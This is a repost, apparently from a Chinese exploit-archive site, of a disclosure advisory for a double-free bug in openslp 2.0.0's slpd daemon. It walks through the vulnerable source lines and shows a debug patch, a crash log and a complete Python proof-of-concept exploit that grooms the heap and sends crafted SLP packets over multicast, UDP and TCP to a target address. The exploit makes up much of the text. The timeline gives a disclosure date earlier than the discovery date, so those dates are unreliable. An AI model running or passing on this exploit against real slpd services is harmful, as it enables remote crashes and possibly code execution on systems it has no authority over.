首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
openslp 2.0.0 Double Free
来源:https://dumpco.re 作者:Stubman 发布时间:2018-07-03  
Reference: https://dumpco.re/blog/openslp-2.0.0-double-free

2018-06-28

SLPD DOUBLE FREE
================

An issue was found in openslp-2.0.0 that can be used to induce a double free bug or memory corruption by
corrupting glibc's doubly-linked memory chunk list.

On line 409 of slpd_process.c, the *sendbuf pointer is copied to result.
On line 251, the first reallocation takes place, potentially free()ing the memory if
it was moved as part of the reallocation.
On line 547, the second reallocation is done, again potentially free()ing the memory
if it has to be moved as part of the reallocation, potentially resulting in a double free bug.

Code snippets from openslp-2.0.0/slpd/slpd_process.c:

  237 static int ProcessDASrvRqst(SLPMessage * message, SLPBuffer * sendbuf, int errorcode)
  238 {
  ..
  243    size_t initial_buffer_size = 4096;
  ..
  246    /* Special case for when libslp asks slpd (through the loopback) about
  247     * a known DAs. Fill sendbuf with DAAdverts from all known DAs.
  248     */
  249    if (SLPNetIsLoopback(&message->peer))
  250    {
  251       *sendbuf = SLPBufferRealloc(*sendbuf, initial_buffer_size); <-- first reallocation
  ..
  402 static int ProcessSrvRqst(SLPMessage * message, SLPBuffer * sendbuf,
  403       int errorcode)
  404 {
  405    int i;
  406    SLPUrlEntry * urlentry;
  407    SLPDDatabaseSrvRqstResult * db = 0;
  408    size_t size = 0;
  409    SLPBuffer result = *sendbuf; <-- pointer is copied
  ..
  460    /* check to to see if a this is a special SrvRqst */
  461    if (SLPCompareString(message->body.srvrqst.srvtypelen,
  462          message->body.srvrqst.srvtype, 23, SLP_DA_SERVICE_TYPE) == 0)
  463    {
  464       errorcode = ProcessDASrvRqst(message, sendbuf, errorcode); <-- sendbuf passed to function
  ..
  546    /* reallocate the result buffer */
  547    result = SLPBufferRealloc(result, size); <-- second reallocation


PROOF OF CONCEPT
================

The following patch can be used to understand the reallocation behavior:

  diff --git a/common/slp_buffer.c b/common/slp_buffer.c
  index 1cab3f5..b3e3ff1 100644
  --- a/common/slp_buffer.c
  +++ b/common/slp_buffer.c
  @@ -104,7 +104,9 @@ SLPBuffer SLPBufferRealloc(SLPBuffer buf, size_t size)
            /* Allocate one extra byte for null terminating strings that
             * occupy the last field of the buffer.
             */
  +         printf("xrealloc(%p, %u) = ", buf, sizeof(struct _SLPBuffer) + size + 1);
            result = xrealloc(buf, sizeof(struct _SLPBuffer) + size + 1);
  +         printf(" = %p\n", result);
            if (result)
                result->allocated = size;
         }

In order to induce a double-free condition the heap must be massaged
such that the reallocation attempts to move memory around.
A proof of concept exploit was developed that demonstrates the vulnerability:

  $ sudo python openslp-2.0.0-double-free-poc.py
  Proof-of-concept heap massager and double-free trigger for openslp-2.0.0 slpd
  Run this script before launching slpd
  [-] Waiting for multicast service request from slpd...
  [+] Got request! Sending reply to 192.168.245.191 427...
  [-] Sending first Service Request to 127.0.0.1:427 from 127.0.0.1:53309...
  [-] Waiting for response...
  [+] Received 71 bytes from 127.0.0.1:427
  [-] Sending  packet to (multicast) 239.255.255.253:427 from 192.168.245.191:41965...
  [+] Got request! Sending reply to 192.168.245.191 41965...
  [-] Waiting for response from bad-multicast-server.py...
  [+] Received 71 bytes from 192.168.245.191:427
  [-] Connecting to 192.168.245.191:427...
  [+] Connected. Sending...
  [-] Sent packet to 192.168.245.191:427 from 192.168.245.191:39914...
  [+] Done!
  $ sudo ./slpd/slpd -d -c etc/slp.conf
  ...
  xrealloc(0x137ba50, 1449) =  = 0x138dd30
  xrealloc(0x137ba50, 69) =
  *** Error in `./slpd/slpd': double free or corruption (fasttop): 0x000000000137ba50 ***

As shown in slpd's output prior to crashing, 0x138dd30 is returned when 0x137ba50 is
reallocated, thus free()ing 0x137ba50. However, afterwards 0x137ba50 is yet again reallocated,
and due to the layout of the heap, free()d a second time, resulting in a double free.

EXPLOIT
=======

dumpco.re/exploits/openslp-2.0.0-double-free-poc.py:

  import os
  import sys
  import struct
  import socket

  targetIp = "192.168.245.194"

  abuf = ("\x02\x08\xff\xff\xff\x00\x00\x00\x00\x00\x58\x27\x00\x02\x65\x6e" +
     "\x00\x0a\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
     "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
     "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
     "\x00\x00\x00\x00\x00\x00\x00")

  mcastserversock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, socket.IPPROTO_UDP)
  mcastserversock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
  mcastserversock.bind(('239.255.255.253', 427))
  mreq = struct.pack("4sl", socket.inet_aton('239.255.255.253'), socket.INADDR_ANY)
  mcastserversock.setsockopt(socket.IPPROTO_IP, socket.IP_ADD_MEMBERSHIP, mreq)

  print "Proof-of-concept heap massager and double-free trigger for openslp-2.0.0 slpd\nRun this script before launching slpd and remember to update targetIp variable."
  print "[-] Waiting for multicast service request from slpd..."
  data, addr = mcastserversock.recvfrom(1024)
  print "[+] Got request! Sending reply to " + addr[0] + " " + str(addr[1]) + "..."
  mcastserversock.sendto(abuf, (addr[0], addr[1]))

  localhostsock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, socket.IPPROTO_UDP)
  localhostsock.bind(('127.0.0.1', 0))
  print "[-] Sending first Service Request to 127.0.0.1:427 from 127.0.0.1:" + str(localhostsock.getsockname()[1]) + "..."

  buf = ("\x02\x01\x00\x00\x31\x00\x00\x00\x00\x00\x66\x0b\x00\x02\x65\x6e" +
         "\x00\x00\x00\x17\x73\x65\x72\x76\x69\x63\x65\x3a\x64\x69\x72\x65" +
         "\x63\x74\x6f\x72\x79\x2d\x61\x67\x65\x6e\x74\x00\x00\x00\x00\x00" +
         "\x00")

  localhostsock.sendto(buf, ('127.0.0.1', 427))
  print "[-] Waiting for response..."
  data, addr = localhostsock.recvfrom(1024)
  print "[+] Received " + str(len(data)) + " bytes from " + addr[0] + ":" + str(addr[1])

  clientsock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, socket.IPPROTO_UDP)
  clientsock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
  clientsock.bind(('0.0.0.0', 0))
  print "[-] Sending  packet to (multicast) 239.255.255.253:427 from " + targetIp + ":" + str(clientsock.getsockname()[1]) + "..."
  mreq = struct.pack("4sl", socket.inet_aton('239.255.255.253'), socket.INADDR_ANY)
  clientsock.setsockopt(socket.IPPROTO_IP, socket.IP_ADD_MEMBERSHIP, mreq)

  buf = ("\x02\x01\x00\x00\x38\x20\x00\x00\x00\x00\x66\x0c\x00\x02\x65\x6e" +
         "\x00\x00\x00\x17\x73\x65\x72\x76\x69\x63\x65\x3a\x64\x69\x72\x65" +
         "\x63\x74\x6f\x72\x79\x2d\x61\x67\x65\x6e\x74\x00\x07\x44\x45\x46" +
         "\x41\x55\x4c\x54\x00\x00\x00\x00")

  clientsock.sendto(buf, ('239.255.255.253', 427))

  data, addr = mcastserversock.recvfrom(1024)
  print "[+] Got request! Sending reply to " + addr[0] + " " + str(addr[1]) + "..."
  mcastserversock.sendto(abuf, (addr[0], addr[1]))

  clientsock.close()
  print "[+] Received " + str(len(data)) + " bytes from " + addr[0] + ":" + str(addr[1])

  buf = ("\x02\x01\x00\x00\x38\x00\x00\x00\x00\x00\x66\x0d\x00\x02\x65\x6e" +
         "\x00\x00\x00\x17\x73\x65\x72\x76\x69\x63\x65\x3a\x64\x69\x72\x65" +
         "\x63\x74\x6f\x72\x79\x2d\x61\x67\x65\x6e\x74\x00\x07\x44\x45\x46" +
         "\x41\x55\x4c\x54\x00\x00\x00\x00")

  tcpclientsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  print "[-] Connecting to " + targetIp + ":427..."
  tcpclientsock.connect((targetIp, 427))
  print "[+] Connected. Sending..."
  tcpclientsock.send(buf)
  print "[-] Sent packet to " + targetIp + ":427 from " + targetIp + ":" + str(tcpclientsock.getsockname()[1]) + "...\n[+] Done!"


IMPACT
======

Although not attempted, the issue may be exploitable such that a remote unauthenticated
attacker may gain Remote Code Execution, since double frees have been known to be exploitable
leading to RCE. As such, this issue may score 'high' on CVSS.

TIMELINE
========

2018-01-22 Discovery
2018-01-23 Vendor notification
2016-06-28 Public disclosure



 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Yahoo! Messenger Webcam 8.1 Ac
·Apache 2.2.0 - 2.2.11 Remote e
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
·HT Editor File openning Stack
  相关文章
·ntop-ng Authentication Bypass
·Boxoft WAV To MP3 Converter 1.
·Delta Industrial Automation CO
·Nagios XI 5.2.6-5.4.12 - Chain
·FTPShell Client 6.70 (Enterpri
·SIPp 3.6 - Local Buffer Overfl
·Enhanced Mitigation Experience
·VMware NSX SD-WAN Edge < 3.1.2
·Core FTP LE 2.2 - Buffer Overf
·Geutebruck 5.02024 G-Cam/EFD-2
·Cisco Adaptive Security Applia
·Polaris Office 2017 8.1 Remote
  推荐广告
CopyRight © 2002-2018 VFocuS.Net All Rights Reserved